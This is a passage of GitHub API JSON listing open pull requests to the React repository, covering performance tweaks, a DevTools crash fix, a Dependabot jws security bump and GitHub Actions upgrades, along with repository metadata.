reused across calls instead of re-created on every invocation. This is a behavior-preserving change that reduces allocations/GC overhead in a frequently executed path when mapping large child lists.\r\n\r\n## How did you test this change?\r\n\r\n\r\n\r\n- `yarn test ReactChildren-test --runInBand`\r\n- `yarn test --prod ReactChildren-test --runInBand`\r\n\r\nAll existing tests pass. No behavior changes expected.", "created_at": "2025-12-17T01:00:20Z", "updated_at": "2025-12-17T01:03:32Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "de993760f986a45be4895d5caedfa1303c5f6aab", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "suekou:optimize-escape-function", "ref": "optimize-escape-function", "sha": "6990854698a1a4a07983d2ab2460785a147fe2bf", "user": { "login": "suekou", "id": 136655880, "node_id": "U_kgDOCCU0CA", "avatar_url": "https://avatars.githubusercontent.com/u/136655880?v=4", "gravatar_id": "", "url": "https://api.github.com/users/suekou", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1117883931, "node_id": "R_kgDOQqGOGw", "name": "react", "full_name": "suekou/react", "private": false, "owner": { "login": "suekou", "id": 136655880, "node_id": "U_kgDOCCU0CA", "avatar_url": "https://avatars.githubusercontent.com/u/136655880?v=4", "gravatar_id": "", "url": "https://api.github.com/users/suekou", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/suekou/react", "created_at": "2025-12-17T00:40:35Z", "updated_at": "2025-12-17T00:53:46Z", "pushed_at": "2025-12-17T01:03:27Z", "homepage": "https://react.dev", "size": 123471, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35378" }, "html": { "href": "https://github.com/facebook/react/pull/35378" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35378" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35378/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35378/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35378/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/6990854698a1a4a07983d2ab2460785a147fe2bf" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35376", "id": 3107580851, "node_id": "PR_kwDOAJy2Ks65Oeuz", "number": 35376, "state": "open", "locked": false, "title": "[DevTools] Fix crash on reorder operation mismatch", "user": { "login": "shash-hq", "id": 158498132, "node_id": "U_kgDOCXJ9VA", "avatar_url": "https://avatars.githubusercontent.com/u/158498132?v=4", "gravatar_id": "", "url": "https://api.github.com/users/shash-hq", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "Debugged a crash where Store throws \"Children cannot be added or removed...\" during a reorder op.\n\nIt seems to happen when the frontend and backend get out of sync regarding the children list (e.g. duplicate keys).\n\nThis PR adds a guard in onBridgeOperations. If the operation implies a child count that mismatches the store's state, it now warns and safely skips the operation instructions instead of blowing up the whole DevTools UI.\n\nAdded a regression test case to verify the bailout logic.\n\nFixes #35360", "created_at": "2025-12-16T20:05:31Z", "updated_at": "2025-12-17T17:05:24Z", "closed_at": null, "merged_at": null, "merge_commit_sha": null, "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "shash-hq:main", "ref": "main", "sha": "533905bf87531b4bd56caa62283603dc457dd16e", "user": { "login": "shash-hq", "id": 158498132, "node_id": "U_kgDOCXJ9VA", "avatar_url": "https://avatars.githubusercontent.com/u/158498132?v=4", "gravatar_id": "", "url": "https://api.github.com/users/shash-hq", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 1117782325, "node_id": "R_kgDOQqABNQ", "name": "react", "full_name": "shash-hq/react", "private": false, "owner": { "login": "shash-hq", "id": 158498132, "node_id": "U_kgDOCXJ9VA", "avatar_url": "https://avatars.githubusercontent.com/u/158498132?v=4", "gravatar_id": "", "url": "https://api.github.com/users/shash-hq", "type": "User", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/shash-hq/react", "created_at": "2025-12-16T20:04:52Z", "updated_at": "2025-12-16T20:05:36Z", "pushed_at": "2025-12-16T20:05:20Z", "homepage": "https://react.dev", "size": 877349, "stargazers_count": 0, "watchers_count": 0, "language": "JavaScript", "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35376" }, "html": { "href": "https://github.com/facebook/react/pull/35376" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35376" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35376/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35376/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35376/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/533905bf87531b4bd56caa62283603dc457dd16e" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [ 3, 35360 ] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35373", "id": 3107091921, "node_id": "PR_kwDOAJy2Ks65MnXR", "number": 35373, "state": "open", "locked": false, "title": "Bump jws from 3.2.2 to 3.2.3", "user": { "login": "dependabot[bot]", "id": 49699333, "node_id": "MDM6Qm90NDk2OTkzMzM=", "avatar_url": "https://avatars.githubusercontent.com/in/29110?v=4", "gravatar_id": "", "url": "https://api.github.com/users/dependabot%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "body": "Bumps [jws](https://github.com/brianloveswords/node-jws) from 3.2.2 to 3.2.3.\n
\nRelease notes\n

Sourced from jws's releases.

\n
\n

v3.2.3

\n

Changed

\n
    \n
  • Fix advisory GHSA-869p-cjfg-cm3x: createSign and createVerify now require\nthat a non empty secret is provided (via opts.secret, opts.privateKey or opts.key)\nwhen using HMAC algorithms.
  • \n
  • Upgrading JWA version to 1.4.2, addressing a compatibility issue for Node >= 25.
  • \n
\n
\n
\n
\nChangelog\n

Sourced from jws's changelog.

\n
\n

[3.2.3]

\n

Changed

\n
    \n
  • Fix advisory GHSA-869p-cjfg-cm3x: createSign and createVerify now require\nthat a non empty secret is provided (via opts.secret, opts.privateKey or opts.key)\nwhen using HMAC algorithms.
  • \n
  • Upgrading JWA version to 1.4.2, adressing a compatibility issue for Node >= 25.
  • \n
\n

[3.0.0]

\n

Changed

\n
    \n
  • BREAKING: jwt.verify now requires an algorithm parameter, and\njws.createVerify requires an algorithm option. The "alg" field\nsignature headers is ignored. This mitigates a critical security flaw\nin the library which would allow an attacker to generate signatures with\narbitrary contents that would be accepted by jwt.verify. See\nhttps://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/\nfor details.
  • \n
\n

2.0.0 - 2015-01-30

\n

Changed

\n
    \n
  • \n

    BREAKING: Default payload encoding changed from binary to\nutf8. utf8 is a is a more sensible default than binary because\nmany payloads, as far as I can tell, will contain user-facing\nstrings that could be in any language. (6b6de48)

    \n
  • \n
  • \n

    Code reorganization, thanks @​fearphage! (7880050)

    \n
  • \n
\n

Added

\n
    \n
  • Option in all relevant methods for encoding. For those few users\nthat might be depending on a binary encoding of the messages, this\nis for them. (6b6de48)
  • \n
\n
\n
\n
\nCommits\n
    \n
  • 4f6e73f Merge commit from fork
  • \n
  • bd0fea5 version 3.2.3
  • \n
  • 7c3b4b4 Enhance tests for HMAC streaming sign and verify
  • \n
  • a9b8ed9 Improve secretOrKey initialization in VerifyStream
  • \n
  • 6707fde Improve secret handling in SignStream
  • \n
  • See full diff in compare view
  • \n
\n
\n
\nMaintainer changes\n

This version was pushed to npm by julien.wollscheid, a new releaser for jws since your current version.

\n
\n
\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=jws&package-manager=npm_and_yarn&previous-version=3.2.2&new-version=3.2.3)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n
\nDependabot commands and options\n
\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot merge` will merge this PR after your CI passes on it\n- `@dependabot squash and merge` will squash and merge this PR after your CI passes on it\n- `@dependabot cancel merge` will cancel a previously requested merge and block automerging\n- `@dependabot reopen` will reopen this PR if it is closed\n- `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually\n- `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/facebook/react/network/alerts).\n\n
", "created_at": "2025-12-16T17:05:27Z", "updated_at": "2025-12-16T17:14:18Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "644ed0fc6aab4e77e1ef98a461d975684bcf8fbd", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null }, "1": { "id": 1757816973, "node_id": "MDU6TGFiZWwxNzU3ODE2OTcz", "url": "https://api.github.com/repos/facebook/react/labels/dependencies", "name": "dependencies", "color": "0366d6", "default": false, "description": "Pull requests that update a dependency file" }, "2": { "id": 7065542027, "node_id": "LA_kwDOAJy2Ks8AAAABpSOdiw", "url": "https://api.github.com/repos/facebook/react/labels/javascript", "name": "javascript", "color": "168700", "default": false, "description": "Pull requests that update Javascript code" } }, "milestone": null, "draft": false, "head": { "label": "facebook:dependabot/npm_and_yarn/jws-3.2.3", "ref": "dependabot/npm_and_yarn/jws-3.2.3", "sha": "5b779723b5f0841b66ef3615bbbfd79b7cd38417", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35373" }, "html": { "href": "https://github.com/facebook/react/pull/35373" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35373" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35373/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35373/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35373/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/5b779723b5f0841b66ef3615bbbfd79b7cd38417" } }, "author_association": "CONTRIBUTOR", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35371", "id": 3106002854, "node_id": "PR_kwDOAJy2Ks65Idem", "number": 35371, "state": "open", "locked": false, "title": "Upgrade GitHub Actions for Node 24 compatibility", "user": { "login": "salmanmkc", "id": 32169182, "node_id": "MDQ6VXNlcjMyMTY5MTgy", "avatar_url": "https://avatars.githubusercontent.com/u/32169182?v=4", "gravatar_id": "", "url": "https://api.github.com/users/salmanmkc", "type": "User", "user_view_type": "public", "site_admin": true }, "body": "## Summary\n\nUpgrade GitHub Actions to their latest versions to ensure compatibility with Node 24, as Node 20 will reach end-of-life in April 2026.\n\n## Changes\n\n| Action | Old Version(s) | New Version | Release | Files |\n|--------|---------------|-------------|---------|-------|\n| `actions/cache` | [``](https://github.com/actions/cache/releases/tag/) | [`v5`](https://github.com/actions/cache/releases/tag/v5) | [Release](https://github.com/actions/cache/releases/tag/v5) | |\n| `actions/checkout` | [``](https://github.com/actions/checkout/releases/tag/) | [`v6`](https://github.com/actions/checkout/releases/tag/v6) | [Release](https://github.com/actions/checkout/releases/tag/v6) | |\n| `actions/download-artifact` | [``](https://github.com/actions/download-artifact/releases/tag/) | [`v7`](https://github.com/actions/download-artifact/releases/tag/v7) | [Release](https://github.com/actions/download-artifact/releases/tag/v7) | |\n| `actions/github-script` | [``](https://github.com/actions/github-script/releases/tag/) | [`v8`](https://github.com/actions/github-script/releases/tag/v8) | [Release](https://github.com/actions/github-script/releases/tag/v8) | |\n| `actions/setup-java` | [``](https://github.com/actions/setup-java/releases/tag/) | [`v5`](https://github.com/actions/setup-java/releases/tag/v5) | [Release](https://github.com/actions/setup-java/releases/tag/v5) | |\n| `actions/setup-node` | [``](https://github.com/actions/setup-node/releases/tag/) | [`v6`](https://github.com/actions/setup-node/releases/tag/v6) | [Release](https://github.com/actions/setup-node/releases/tag/v6) | |\n| `actions/stale` | [``](https://github.com/actions/stale/releases/tag/) | [`v10`](https://github.com/actions/stale/releases/tag/v10) | [Release](https://github.com/actions/stale/releases/tag/v10) | |\n| `actions/upload-artifact` | [``](https://github.com/actions/upload-artifact/releases/tag/) | [`v6`](https://github.com/actions/upload-artifact/releases/tag/v6) | [Release](https://github.com/actions/upload-artifact/releases/tag/v6) | |\n\n## Context\n\nPer [GitHub's announcement](https://github.blog/changelog/2025-09-19-deprecation-of-node-20-on-github-actions-runners/), Node 20 is being deprecated and runners will begin using Node 24 by default starting March 4th, 2026.\n\n### Why this matters\n\n- **Node 20 EOL**: April 2026\n- **Node 24 default**: March 4th, 2026\n- **Action**: Update to latest action versions that support Node 24\n\n### Security Note\n\nActions that were previously pinned to commit SHAs remain pinned to SHAs (updated to the latest release SHA) to maintain the security benefits of immutable references.\n\n### Testing\n\nThese changes only affect CI/CD workflow configurations and should not impact application functionality. The workflows should be tested by running them on a branch before merging.\n", "created_at": "2025-12-16T11:32:17Z", "updated_at": "2025-12-19T00:55:44Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "66a506bdca55f0cb33a5365eae734ee0a76c31c2", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "salmanmkc:upgrade-github-actions-node24", "ref": "upgrade-github-actions-node24", "sha": "0b99e15170055d38ecec06369679373b883066c2", "user": { "login": "salmanmkc", "id": 32169182, "node_id": "MDQ6VXNlcjMyMTY5MTgy", "avatar_url": "https://avatars.githubusercontent.com/u/32169182?v=4", "gravatar_id": "", "url": "https://api.github.com/users/salmanmkc", "type": "User", "user_view_type": "public", "site_admin": true }, "repo": { "id": 1117485158, "node_id": "R_kgDOQpt4Zg", "name": "react", "full_name": "salmanmkc/react", "private": false, "owner": { "login": "salmanmkc", "id": 32169182, "node_id": "MDQ6VXNlcjMyMTY5MTgy", "avatar_url": "https://avatars.githubusercontent.com/u/32169182?v=4", "gravatar_id": "", "url": "https://api.github.com/users/salmanmkc", "type": "User", "user_view_type": "public", "site_admin": true }, "description": "The library for web and native user interfaces.", "fork": true, "url": "https://api.github.com/repos/salmanmkc/react", "created_at": "2025-12-16T11:32:10Z", "updated_at": "2025-12-16T11:32:10Z", "pushed_at": "2025-12-16T11:32:14Z", "homepage": "https://react.dev", "size": 877088, "stargazers_count": 0, "watchers_count": 0, "language": null, "has_issues": false, "has_projects": true, "has_downloads": true, "has_wiki": false, "has_pages": false, "has_discussions": false, "forks_count": 0, "archived": false, "disabled": false, "open_issues_count": 0, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": {}, "visibility": "public", "forks": 0, "open_issues": 0, "watchers": 0, "default_branch": "main" } }, "base": { "label": "facebook:main", "ref": "main", "sha": "88ee1f595572b1dcf8f45897cb115b4bbd1aefb8", "user": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "repo": { "id": 10270250, "node_id": "MDEwOlJlcG9zaXRvcnkxMDI3MDI1MA==", "name": "react", "full_name": "facebook/react", "private": false, "owner": { "login": "facebook", "id": 69631, "node_id": "MDEyOk9yZ2FuaXphdGlvbjY5NjMx", "avatar_url": "https://avatars.githubusercontent.com/u/69631?v=4", "gravatar_id": "", "url": "https://api.github.com/users/facebook", "type": "Organization", "user_view_type": "public", "site_admin": false }, "description": "The library for web and native user interfaces.", "fork": false, "url": "https://api.github.com/repos/facebook/react", "created_at": "2013-05-24T16:15:54Z", "updated_at": "2026-03-10T00:52:26Z", "pushed_at": "2026-03-09T23:50:28Z", "homepage": "https://react.dev", "size": 942060, "stargazers_count": 243822, "watchers_count": 243822, "language": "JavaScript", "has_issues": true, "has_projects": false, "has_downloads": true, "has_wiki": false, "has_pages": true, "has_discussions": false, "forks_count": 50693, "archived": false, "disabled": false, "open_issues_count": 1157, "license": { "key": "mit", "name": "MIT License", "spdx_id": "MIT", "url": "https://api.github.com/licenses/mit", "node_id": "MDc6TGljZW5zZTEz" }, "allow_forking": true, "is_template": false, "web_commit_signoff_required": false, "has_pull_requests": true, "pull_request_creation_policy": "all", "topics": { "0": "declarative", "1": "frontend", "2": "javascript", "3": "library", "4": "react", "5": "ui" }, "visibility": "public", "forks": 50693, "open_issues": 1157, "watchers": 243822, "default_branch": "main" } }, "_links": { "self": { "href": "https://api.github.com/repos/facebook/react/pulls/35371" }, "html": { "href": "https://github.com/facebook/react/pull/35371" }, "issue": { "href": "https://api.github.com/repos/facebook/react/issues/35371" }, "comments": { "href": "https://api.github.com/repos/facebook/react/issues/35371/comments" }, "review_comments": { "href": "https://api.github.com/repos/facebook/react/pulls/35371/comments" }, "review_comment": { "href": "https://api.github.com/repos/facebook/react/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/facebook/react/pulls/35371/commits" }, "statuses": { "href": "https://api.github.com/repos/facebook/react/statuses/0b99e15170055d38ecec06369679373b883066c2" } }, "author_association": "NONE", "auto_merge": null, "assignee": null, "active_lock_reason": null, "linked_issues": [] }, { "url": "https://api.github.com/repos/facebook/react/pulls/35370", "id": 3105669300, "node_id": "PR_kwDOAJy2Ks65HMC0", "number": 35370, "state": "open", "locked": false, "title": "Performance: store effects in array instead of linked list", "user": { "login": "romgrk", "id": 1423607, "node_id": "MDQ6VXNlcjE0MjM2MDc=", "avatar_url": "https://avatars.githubusercontent.com/u/1423607?v=4", "gravatar_id": "", "url": "https://api.github.com/users/romgrk", "type": "User", "user_view_type": "public", "site_admin": false }, "body": "## Summary\r\n\r\nConsidering that effects are only appended (the list of effects is never mutated in the middle), `Array` seems like a better fit because it has a better cache locality, and it creates less memory allocations so there's less pressure on the GC.\r\n\r\n## How did you test this change?\r\n\r\nI have tested various benchmarks we have in [Base UI](https://github.com/mui/base-ui) and they've shown a fairly small but consistent improvement across the board. I've also spin up [this benchmark](https://gist.github.com/romgrk/3c64ac061e2267d65db22703d32a5abf) that puts an extreme focus on effects to illustrate clearly the improvement. The average runtime is consistently lower, but interestingly the standard deviation is also consistently lower, which probably indicates that the garbage collector is doing less pauses (due to the fewer memory allocations).\r\n\r\nBefore:\r\n\"image\"\r\nAfter:\r\n\"image\"\r\n\r\n", "created_at": "2025-12-16T09:44:39Z", "updated_at": "2025-12-17T12:40:11Z", "closed_at": null, "merged_at": null, "merge_commit_sha": "d56252b129d3179d5e223050a298429373d09614", "assignees": {}, "requested_reviewers": {}, "requested_teams": {}, "labels": { "0": { "id": 196858374, "node_id": "MDU6TGFiZWwxOTY4NTgzNzQ=", "url": "https://api.github.com/repos/facebook/react/labels/CLA%20Signed", "name": "CLA Signed", "color": "e7e7e7", "default": false, "description": null } }, "milestone": null, "draft": false, "head": { "label": "romgrk:perf-arrays", "ref": "perf-arrays", "sha": "bb89000d03595f392fa4e89fa2f0c83e1f3e5fd8", "user": { "login": "romgrk", "id": 1423607, "node_id": "MDQ6VXNlcjE0MjM2MDc=", "avatar_url": "https://avatars.githubusercontent.com/u/1423607?v=4", "gravatar_id": "", "url": "https://api.github.com/users/romgrk", "type": "User", "user_view_type": "public", "site_admin": false }, "repo": { "id": 692274689, "node_id": "R_kgDOKUNGAQ", "name": "react", "full_name": "romgrk/react", "private": false, "owner": { "login": "romgrk", "id": 1423607, "node_id": "MDQ6VXNlcjE0MjM2MDc=", "avatar_url": "https://avatars.githubusercontent.com/u/1423607?v=4", "gravatar_id": "", "url": "https://api.github.com/users/romgrk", "type": "User", "user_view_type": 